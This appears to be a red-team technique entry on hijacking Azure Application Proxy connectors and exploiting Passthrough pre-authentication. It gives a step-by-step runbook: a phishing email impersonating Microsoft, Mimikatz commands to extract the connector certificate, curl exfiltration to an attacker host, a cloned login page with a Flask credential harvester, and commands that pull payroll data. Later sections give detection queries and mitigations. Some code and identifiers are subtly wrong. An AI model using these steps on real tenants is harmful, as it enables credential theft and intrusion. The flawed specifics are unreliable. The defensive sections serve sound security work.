| Attribute | Details |
|---|---|
| Technique ID | IA-EXPLOIT-001 |
| MITRE ATT&CK v18.1 | T1557.002 - Man-in-the-Middle: ARP Cache Poisoning, T1021.005 - Lateral Movement: Remote Service Session Hijacking |
| Tactic | Lateral Movement, Persistence |
| Platforms | M365 (Azure App Proxy), Windows Server 2016+ |
| Severity | Critical |
| CVE | N/A (Design limitation; misconfiguration attack) |
| Technique Status | ACTIVE |
| Last Verified | 2025-03-18 |
| Affected Versions | All Azure Application Proxy versions with Passthrough pre-authentication enabled |
| Patched In | N/A (design; requires enforcement of Azure AD pre-authentication and certificate protection mechanisms) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Application Proxy (AAP) enables organizations to securely publish on-premises web applications by routing traffic through Microsoft’s cloud infrastructure and enforcing Entra ID authentication. However, when misconfigured with “Passthrough” pre-authentication settings, the proxy forwards unauthenticated traffic directly to the backend on-premises application, effectively opening a firewall port to internal resources. Additionally, attackers who compromise a connector server can extract the connector certificate (using tools like Mimikatz) and register a malicious connector in the same Entra ID tenant, redirecting traffic to attacker-controlled servers or credential harvesting pages. Unlike traditional phishing, connector hijacking is persistent, transparent to users, and survives authentication because the attacker’s malicious connector appears as a legitimate proxy endpoint.
Attack Pattern: (1) Attacker compromises on-premises server hosting Azure App Proxy connector (via phishing, credentials, or vulnerability), (2) Attacker extracts connector certificate from Windows registry using Mimikatz (certificate is marked non-exportable but Mimikatz can extract it), (3) Attacker imports certificate into attacker-controlled machine, (4) Attacker registers new Azure connector with imported certificate, (5) Attacker restarts legitimate connector (optional, forces traffic redistribution), (6) Attacker’s malicious connector now receives traffic destined for published application, (7) Attacker hosts phishing page, credential harvester, or malware on attacker backend server, (8) When users access published app URL, they are transparently redirected to attacker server, (9) Alternatively, if Passthrough pre-authentication enabled, attacker bypasses authentication entirely and directly accesses internal application.
Business Impact: Full transparency compromise of internal applications. Published applications intended to be accessible only to authenticated users can be accessed by any attacker with network access. More critically, attackers can intercept and clone published applications for credential harvesting (phishing users who believe they are accessing legitimate company applications). Recent research (TrustedSec, XYBYTES, LinkedIn - 2025) demonstrates that organizations commonly misconfigure Passthrough pre-authentication for convenience, effectively disabling security. Attacks are difficult to detect because traffic appears to originate from Microsoft’s infrastructure (not attacker IPs), and legitimate sign-in logs show normal authentication. The compromise is persistent—even if the original compromised server is patched, the attacker’s registered connector continues operating unless explicitly removed.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1, 5.2, 6.1, 6.2 | Inadequate authentication enforcement; weak pre-authentication settings. |
| DISA STIG | AC-2, AC-3, AC-14 | Access control; enforcement of approved authentication mechanisms. |
| CISA SCuBA | IdM-1, IdM-2 | Identity governance; unusual connector registration. |
| NIST 800-53 | AC-2, AC-3, AC-6, SC-7 | Access control; network segmentation. |
| GDPR | Art. 32, 33 | Insufficient security measures; breach notification. |
| DORA | Art. 9, 18 | ICT risk management; incident reporting. |
| NIS2 | Art. 21, 23 | Cyber security measures; incident reporting. |
| ISO 27001 | A.8.2.1, A.9.2.1 | User registration and access management. |
| ISO 27005 | Risk Scenario: “Unauthorized Application Proxy Connector Registration” | Attacker-controlled connector registered in tenant. |
Required Privileges:
Required Access:
Supported Versions:
Tools & Environment:
Objective: Attacker determines which applications are published via Azure App Proxy and which are high-value targets.
Methods:
1. Network Traffic Analysis (from compromised connector server)
Attacker can observe traffic flowing through the connector to identify published applications:
# List all connections involving connector process
Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq (Get-Process ApplicationProxyConnectorService).Id }
# Output shows:
# LocalAddress LocalPort RemoteAddress RemotePort State
# 127.0.0.1 49152 10.0.0.50 80 Established
# (Traffic to backend internal server on port 80)
# Use Wireshark or similar to capture traffic
netsh trace start capture=yes tracefile=C:\appproxy_traffic.etl
# Analyze captured traffic to identify backend applications
netsh trace stop
2. Azure App Proxy Configuration
If attacker has access to Azure credentials on compromised server:
# Connect to Azure
Connect-AzureAD
# List published applications via App Proxy
Get-AzureADApplicationProxyApplication | Select-Object ExternalUrl, InternalUrl
# Output:
# ExternalUrl InternalUrl
# https://companyportal.xybytes.com/ http://server01.xybytes.com/
# https://timesheet.company.com/ http://sharepoint.company.local/
# https://hr-portal.company.com/ http://hr-app.company.local:8080/
3. Analyzing Connector Traffic Logs
Connector logs contain information about forwarded applications:
# Check Event Viewer for App Proxy Connector logs
Get-EventLog -LogName "Application" -Source "*ApplicationProxy*" -Newest 100 | `
Select-Object TimeGenerated, Message
# Or check connector service logs
$connectorLogPath = "C:\Program Files\Microsoft AAD App Proxy Connector\Trace"
Get-Content "$connectorLogPath\*.etl" | Measure-Object -Line
4. Enum Targets Based on Criticality
High-value targets:
Supported Versions: All Azure App Proxy versions
Scenario: Attacker compromises server hosting Azure App Proxy connector, extracts non-exportable certificate, registers malicious connector with stolen certificate, and intercepts traffic to credential harvesting or malware pages.
Objective: Gain initial access to server running Azure App Proxy connector.
Attack Vectors:
Example – Phishing Email to IT Admin:
From: Microsoft Security Alerts <security-alerts@microsoft.com>
To: it-admin@company.com
Subject: URGENT: Unusual Activity Detected on Your Azure Account
Dear Admin,
We've detected unusual sign-in activity on your Azure account from an unfamiliar location.
To verify your identity and secure your account, please click the link below:
[Click to verify your account]
If this wasn't you, click here to secure your account immediately.
Microsoft Security Team
Post-Compromise:
Once attacker has access (RDP, reverse shell, etc.), first objective is to verify connector is present:
# Check if connector service is running
Get-Service | Where-Object { $_.Name -like "*AppProxy*" }
# Output:
# Status Name DisplayName
# Running AppProxyConnectorSvc Microsoft AAD App Proxy Connector Service
# Verify connector registry location
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft AAD App Proxy Connector" | Select-Object -Property *
Objective: Extract non-exportable connector certificate from Windows certificate store.
Why This Works:
Connector certificate is stored in Windows certificate store with “non-exportable” attribute, preventing normal export via certmgr or PowerShell. However, Mimikatz can extract certificates directly from LSASS memory or certificate store, bypassing the non-exportable flag.
Mimikatz Execution:
# Run Mimikatz on compromised connector server
# First, launch mimikatz.exe with admin privileges
# Step 1: Enable token privileges
privilege::debug
# Step 2: Inject into LSASS to access certificate store
crypto::certificates
# Step 3: Find and export the Azure App Proxy connector certificate
# Output will show:
# [0] Subject: CN=connectorid-a170d9a0-e82c-4093-a5a1-833d49fef370
# Issuer: CN=Microsoft Connector Certificate Authority
# Thumbprint: 1A2B3C4D5E6F7G8H9I0J...
# Key Container: Microsoft RSA SChannel Cryptographic Provider
# Exportable: No (but Mimikatz can override)
# Export certificate to .pfx file
crypto::certificates /export
# Creates file: CERT_0_Microsoft_Connector_Certificate_Authority.pfx
PowerShell Alternative (If Mimikatz Not Available):
# Using certutil to list certificates
certutil -store -user My
# Find certificate with "Azure App Proxy Connector" in subject
# Subject: CN=connectorid-...
# Try to export (may fail due to non-exportable flag)
$cert = Get-ChildItem -Path "Cert:\CurrentUser\My" | `
Where-Object { $_.Subject -like "*appproxy*" }
# If export fails, use dpapi decryption or Mimikatz
Sample Mimikatz Output:
mimikatz # crypto::certificates
[*] Listing certificates (CurrentUser\My)
0. CN=connectorid-a170d9a0-e82c-4093-a5a1-833d49fef370
Issuer: CN=Microsoft Connector Certificate Authority, O=Microsoft Corporation
NotBefore: 2023-10-28 15:46:32
NotAfter: 2025-10-28 15:46:32
Thumbprint: F7E6D5C4B3A2916F8E7D6C5B4A3F2E1D9C8B7A69
KeySize: 2048
Algorithm: RSA
Exportable: No (but Mimikatz can extract)
mimikatz # crypto::certificates /export
[*] Exporting certificate
[*] Saved to: CERT_0_Azure_Connector_Certificate.pfx
[*] Password: (blank by default)
Certificate Extracted (.pfx file contains):
Objective: Get extracted .pfx certificate to attacker’s machine.
Methods:
# Option 1: Email to attacker-controlled account
# Attach CERT_0_Azure_Connector_Certificate.pfx
# Option 2: EXFIL via HTTP POST
curl -X POST -F "file=@CERT_0_Azure_Connector_Certificate.pfx" \
https://attacker-backend.com/upload
# Option 3: Copy to network share
copy "CERT_0_Azure_Connector_Certificate.pfx" "\\attacker-server\share\"
# Option 4: Base64 encode and exfil via DNS
certutil -encode CERT_0_Azure_Connector_Certificate.pfx cert_b64.txt
# Then exfiltrate base64-encoded content via DNS queries
Objective: Install extracted certificate on attacker-controlled server to impersonate connector.
On Attacker Server (Windows with IIS/Application Proxy installed):
# Import certificate into certificate store
$pfxPath = "C:\certs\CERT_0_Azure_Connector_Certificate.pfx"
$password = ConvertTo-SecureString "" -AsPlainText -Force
Import-PfxCertificate -FilePath $pfxPath `
-CertStoreLocation "Cert:\LocalMachine\My" `
-Password $password
# Verify import
Get-ChildItem -Path "Cert:\LocalMachine\My" | `
Where-Object { $_.Thumbprint -eq "F7E6D5C4B3A2916F8E7D6C5B4A3F2E1D9C8B7A69" }
# Output:
# PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\My
# PSChildName: F7E6D5C4B3A2916F8E7D6C5B4A3F2E1D9C8B7A69
# Description: (blank)
# EnhancedKeyUsageList: {}
# DnsNameList: {appproxy.company.com}
# SendAsTrustedIssuer: False
# Archived: False
# Extensions: {System.Security.Cryptography.X509Certificates.X509Extension...}
# FriendlyName: Azure App Proxy Connector
# IssuerName: CN=Microsoft Connector Certificate Authority, O=Microsoft Corporation
# NotAfter: 10/28/2025 3:46:32 PM
# NotBefore: 10/28/2023 3:46:32 PM
# PrivateKey: System.Security.Cryptography.RSA
# PrivateKeyExportable: False
# PublicKey: System.Security.Cryptography.RSA
# RawData: {48, 130, 4, 86, 48, 130, 3, 62, 160, 3, 2, 1, 2, 2, 4, 192, 231...}
# SerialNumber: C0E79DE43BC87AA64...
# SignatureAlgorithm: System.Security.Cryptography.Oid
# SubjectName: CN=connectorid-a170d9a0-e82c-4093-a5a1-833d49fef370
# Thumbprint: F7E6D5C4B3A2916F8E7D6C5B4A3F2E1D9C8B7A69
# Version: 3
Objective: Register attacker’s server as legitimate connector in target tenant using stolen certificate.
Attacker Registers New Connector:
If attacker has access to target tenant credentials:
# Connect to target Azure tenant
Connect-AzureAD -TenantId "76515347-005a-4ad9-b56e-0440219d98f8"
# Register new connector using PowerShell module
# (Alternatively, use Azure Portal manually)
# Install App Proxy Connector software on attacker server with stolen cert
# During registration, connector authenticates using stolen certificate
# Verify registration
Get-AzureADApplicationProxyConnector
# Output:
# Id Name State Version
# a170d9a0-e82c-4093-a5a1-833... DESKTOP-ATTACKER Ready 1.5.3437.0 <- NEW CONNECTOR
# a170d9a0-e82c-4093-a5a1-a... server01.xybytes Ready 1.5.3437.0
Alternative: Connector Registers Automatically
If attacker installs Azure App Proxy Connector software on attacker machine:
# On attacker machine, run Azure App Proxy Connector installer
# Installer will:
# 1. Prompt for Azure credentials
# 2. Sign in with attacker or compromised credentials
# 3. Register new connector in tenant
# During installer, it will:
# - Authenticate to Azure using stored certificate
# - Send CSR (certificate signing request) to Azure
# - Receive new certificate from Azure (with private key)
# - Establish persistent connection to Azure App Proxy service
# Post-registration, connector appears in Azure Portal as "Ready"
Objective: Set up web server on attacker machine to host phishing pages or malware.
IIS Configuration (on Attacker Machine):
# Create new website in IIS
New-IISSite -Name "MaliciousApp" -BindingInformation "*:80:server01.xybytes.com" `
-PhysicalPath "C:\www\malicious"
# Or use simple Python HTTP server
python -m SimpleHTTPServer 80
# Create clone of legitimate internal application
# For example, clone of HR Portal login page:
# C:\www\malicious\login.html
"""
<!DOCTYPE html>
<html>
<head>
<title>Company HR Portal</title>
<style>
body { font-family: Arial; background: #0072C6; }
.login-container {
max-width: 400px;
margin: 100px auto;
background: white;
padding: 20px;
border-radius: 5px;
}
input { width: 100%; padding: 10px; margin: 10px 0; }
button { width: 100%; padding: 10px; background: #0072C6; color: white; border: none; }
</style>
</head>
<body>
<div class="login-container">
<h2>Company HR Portal</h2>
<p>Please sign in with your company credentials</p>
<form method="POST" action="/login-process">
<input type="email" name="username" placeholder="Email" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign In</button>
</form>
</div>
</body>
</html>
"""
# Create handler to capture credentials
# C:\www\malicious\login-process
"""
#!/usr/bin/env python3
from flask import Flask, request
import json
app = Flask(__name__)
@app.route('/login-process', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
# Log credentials
with open('credentials.log', 'a') as f:
f.write(f"Username: {username}, Password: {password}\n")
# Optionally forward to real application (to avoid detection)
# Or display error message
return redirect('https://real-hr-portal.company.com/error')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
"""
Objective: Configure connector to route user requests to attacker’s malicious backend instead of legitimate application.
Connector Configuration (via Azure Portal or PowerShell):
# Update application settings to point to attacker backend
$appId = "a15be13f-9348-491a-aeb3-e2b567e77412"
# Change backend URL from legitimate to malicious
Set-AzureADApplicationProxyApplicationCustomDomainCertificate `
-ObjectId $appId `
-CustomDomainCertificatePfxPath "C:\certs\stolen_cert.pfx" `
-CustomDomainCertificatePfxPassword (ConvertTo-SecureString -AsPlainText "password" -Force)
# Or directly modify connector routing table
# (Requires internal connector configuration file modification)
Alternative: Hosts File Hijacking on Compromised Server
# On compromised connector server, modify hosts file:
# C:\Windows\System32\drivers\etc\hosts
127.0.0.1 server01.xybytes.com
127.0.0.1 sharepoint.company.local
127.0.0.1 hr-app.company.local
# Now when connector tries to reach backend, it gets attacker's local server
Objective: Users access published application URL and are transparently redirected to attacker’s page without realizing.
User Experience:
User: Clicks on published app URL
URL: https://companyportal.xybytes.com/
Traffic Path:
https://companyportal.xybytes.com
↓
Azure App Proxy Service (recognizes URL)
↓
Selects connector to handle request
↓
Routes to ATTACKER'S malicious connector
↓
Attacker's connector receives request
↓
Forwards to attacker's local server (127.0.0.1:80)
↓
Attacker serves fake HR login page
↓
User sees familiar-looking HR login page
↓
User enters credentials: alice@company.com / password123
↓
Attacker captures credentials in log file
↓
Attacker redirects user to error page or real application
Key Point: Throughout this, user:
Supported Versions: All Azure App Proxy versions with Passthrough pre-authentication enabled
Scenario: Application configured with Passthrough pre-authentication bypasses Microsoft Entra ID authentication entirely, allowing direct access to on-premises application from internet without credentials.
Objective: Determine which published applications use Passthrough pre-authentication.
# Query published applications and their pre-auth settings
Get-AzureADApplicationProxyApplication | Select-Object `
ObjectId, ExternalUrl, InternalUrl, PreAuthenticationType
# Output:
# ObjectId ExternalUrl PreAuthenticationType
# a15be13f-9348-491a-aeb3-e2b... https://companyportal.xybytes AzureActiveDirectory
# b26cf24e-8459-4b9c-9fd4-f3c... https://timesheet.company.com Passthrough <- VULNERABLE
# c37dg35f-9560-5c0d-0ge5-g4d... https://hr-portal.company.com AzureActiveDirectory
Why Organizations Use Passthrough:
Objective: Access published application without any authentication.
From Attacker (external, unauthenticated):
# Direct HTTPS access to published app
curl -v https://timesheet.company.com/
# Output:
# HTTP/1.1 200 OK
# Content-Type: text/html
# ...
# [HTML content of timesheet application]
# No authentication required!
# Attacker now has direct access to timesheet system
Comparison: Azure AD vs Passthrough
| Config | Access Requires | URL Accessed | Auth Check |
|---|---|---|---|
| Azure AD Pre-Auth | Valid M365 credentials + MFA | https://companyportal.xybytes.com/ | ✅ Azure AD validates |
| Passthrough Pre-Auth | Nothing | https://timesheet.company.com/ | ❌ Skipped entirely |
Objective: Attacker now has full access to internal application (timesheet, HR, etc.)
# Enumerate application functionality
curl -v https://timesheet.company.com/admin/
# List employees and their data
curl https://timesheet.company.com/api/employees
# Export payroll data
curl -X GET "https://timesheet.company.com/api/payroll/export?format=csv" \
-o payroll.csv
# Modify employee timesheets (if application allows)
curl -X POST "https://timesheet.company.com/api/timesheet" \
-H "Content-Type: application/json" \
-d '{"employee_id": 123, "hours": 80, "date": "2025-12-30"}'
Possible Attacks:
Installation:
# Download from official GitHub
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz/x64
# Compile with Visual Studio or download pre-compiled .exe
Key Commands:
crypto::certificates – List certificatescrypto::certificates /export – Export certificatescrypto::capi – Interact with CryptoAPIInstallation:
Install-Module AzureAD
Install-Module AzureADPreview
Key Commands:
Get-AzureADApplicationProxyApplication – List published appsGet-AzureADApplicationProxyConnector – List connectorsSet-AzureADApplicationProxyApplicationCustomDomainCertificate – Update app settingsUse for: Analyzing Azure App Proxy traffic, crafting malicious requests
Use for: Force Application Proxy Connector to route through proxy for analysis
KQL Query:
AuditLogs
| where OperationName == "Register application proxy connector"
| where TargetResources[0].displayName has_any ("DESKTOP-", "ATTACKER", "MALICIOUS")
| project
TimeGenerated,
InitiatedBy = InitiatedBy.user.userPrincipalName,
TargetResources,
OperationName,
IPAddress
KQL Query:
AuditLogs
| where OperationName == "Update application proxy connector"
| where ResultStatus == "Success"
| project
TimeGenerated,
ConnectorName = TargetResources[0].displayName,
Changes = TargetResources[0].modifiedProperties,
Admin = InitiatedBy.user.userPrincipalName
| where Changes has "State"
KQL Query:
AzureActivity
| where ResourceProvider == "Microsoft.AppProxy"
| summarize
ConnectorCount = dcount(ResourceDisplayName),
LastActivity = max(TimeGenerated)
by SubscriptionId
| where ConnectorCount > 5 // Threshold depends on organization size
PowerShell:
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) `
-Operations "*connector*" `
-ResultSize 5000 | `
Export-Csv -Path "C:\Audit\connector_events.csv"
1. Enforce Azure AD Pre-Authentication on All Applications
# Change all apps from Passthrough to Azure AD pre-auth
$apps = Get-AzureADApplicationProxyApplication | `
Where-Object { $_.PreAuthenticationType -eq "Passthrough" }
foreach ($app in $apps) {
Set-AzureADApplicationProxyApplication `
-ObjectId $app.ObjectId `
-PreAuthenticationType "AzureActiveDirectory"
}
2. Restrict Connector Certificate Permissions
Prevent local admin from exporting certificate:
# Restrict certificate private key access
$cert = Get-ChildItem -Path "Cert:\LocalMachine\My" | `
Where-Object { $_.Subject -like "*AppProxy*" }
$rsaKey = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert)
# Restrict access to SYSTEM and Connector service account only
icacls $keyPath /grant "NT AUTHORITY\SYSTEM:F" /inheritance:r
icacls $keyPath /grant "NT SERVICE\AppProxyConnectorSvc:R"
3. Monitor Connector Certificate Renewal
Implement alerts when certificates are renewed or new ones created:
# Create scheduled task to monitor certificate changes
$trigger = New-ScheduledTaskTrigger -AtStartup
$action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-File C:\Scripts\Check-ConnectorCert.ps1"
Register-ScheduledTask -TaskName "Monitor-ConnectorCertificate" `
-Action $action -Trigger $trigger -RunLevel Highest
4. Implement Conditional Access for Connector Servers
Ensure connector servers have specific compliance requirements:
# Create Conditional Access policy requiring device compliance
# Connectors must be marked as compliant devices
# In Entra ID Portal:
# Conditional Access → New Policy
# Conditions:
# - Cloud apps: All cloud apps
# - Device platforms: Windows
# - Device state: Require device to be marked as compliant
# Grant: Block access
5. Enable Connector Health Monitoring
Monitor for sudden state changes or unhealthy connectors:
# Implement alerting on connector health
$connectors = Get-AzureADApplicationProxyConnector
foreach ($connector in $connectors) {
if ($connector.State -ne "Ready") {
# Alert: Connector unhealthy
Send-Alert -Message "Connector $($connector.Name) is not ready" -Severity High
}
}
6. Implement Network Segmentation
Isolate connector servers from internet-facing resources:
Internet
↓
Azure App Proxy (Cloud)
↓
Private Network (Segmented)
↓
Connector Servers (Firewall Protected)
↓
Internal Applications
7. User Security Awareness Training
Train users to recognize cloned phishing pages and suspicious authentication prompts.
Validation Command (Verify Mitigations):
# Verify all apps use Azure AD pre-auth
Get-AzureADApplicationProxyApplication | `
Select-Object ExternalUrl, PreAuthenticationType | `
Where-Object { $_.PreAuthenticationType -ne "AzureActiveDirectory" }
# Should return empty (no Passthrough apps)
# Verify connector count and health
Get-AzureADApplicationProxyConnector | `
Select-Object Name, State, Version
# All connectors should have State = "Ready"
Technical IOCs:
Behavioral IOCs:
Azure Audit Logs:
Connector Server Logs:
Immediate Actions (0-15 minutes):
# Identify suspicious connector
$maliciousConnector = Get-AzureADApplicationProxyConnector | `
Where-Object { $_.Name -eq "DESKTOP-ATTACKER" }
# Disable (removes from rotation but doesn't delete)
# Via Azure Portal: Connectors → [Select] → Disable
# Check which apps this connector was routing traffic to
Get-AzureADApplicationProxyApplicationConnectorGroup | `
Where-Object { $_.ConnectorId -eq $maliciousConnector.Id }
# If connector server was compromised, revoke access
# Disable RDP, reset credentials, revoke Azure tokens
Containment (15-60 minutes):
# Remove connector from Azure
Remove-AzureADApplicationProxyConnector `
-ObjectId $maliciousConnector.Id
# This removes it from Azure registration but doesn't affect compromised server
# Check which users accessed application via malicious connector
# Requires Azure App Proxy access logs (if enabled)
Get-AzureADApplicationProxyApplicationConnectorGroupMembership | `
Export-Csv -Path "C:\Incident\connector_access_logs.csv"
Recovery (1-24 hours):
# Restart connector service on compromised server (if still in use)
Restart-Service -Name "AppProxyConnectorSvc"
# Check for other unusual connector registrations
Get-AzureADApplicationProxyConnector | `
Where-Object { $_.CreatedDateTime -gt (Get-Date).AddDays(-30) } | `
Select-Object Name, CreatedDateTime, State
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | T1566 (Phishing) or T1190 (Exploit) | Attacker compromises connector server via phishing or vulnerability |
| 2 | Credential Access | T1056 (Keylogging) or T1110 (Brute Force) | Attacker gains admin credentials on connector server |
| 3 | Persistence | [IA-EXPLOIT-001] | Attacker extracts connector certificate and registers malicious connector |
| 4 | Defense Evasion | T1036 (Masquerading) | Malicious connector appears as legitimate Azure App Proxy endpoint |
| 5 | Credential Access | T1056 (Phishing) | Users enter credentials into attacker’s phishing page |
| 6 | Impact | T1537 (Exfil to Cloud) | Attacker exfiltrates user data from internal applications |
Threat Actor: Security researchers (XYBYTES) demonstrating vulnerability
Target: Test environment with published IIS application
Timeline:
Attack Flow:
Legitimate User Access:
https://companyportal.xybytes.com/
↓ [Authenticates with Entra AD]
↓ [Azure App Proxy routes to legitimate connector]
↓
http://server01.xybytes.com/ (legitimate backend)
With Hijacking:
https://companyportal.xybytes.com/
↓ [Authenticates with Entra AD] (same, no change)
↓ [Azure App Proxy routes to MALICIOUS connector]
↓
https://attacker-server.com/ (fake login page)
↓ [User enters credentials]
↓ [Credentials captured by attacker]
Key Insight: Users authenticated successfully via Azure AD, but traffic was routed to attacker-controlled server. Authentication appeared normal, but backend was compromised.
References:
Threat Actor: Security researchers (TrustedSec) demonstrating misconfiguration
Targets: Multiple organizations with Passthrough pre-auth enabled
Findings:
Attack Demonstration:
External Attacker (no M365 account, no credentials)
↓
curl https://timesheet.company.com/
↓
Azure App Proxy (Passthrough mode)
↓
Forwards directly to internal timesheet application
↓
No authentication required
↓
Attacker gets full access to:
- Employee timesheets
- Payroll system
- Time tracking data
Impact:
References: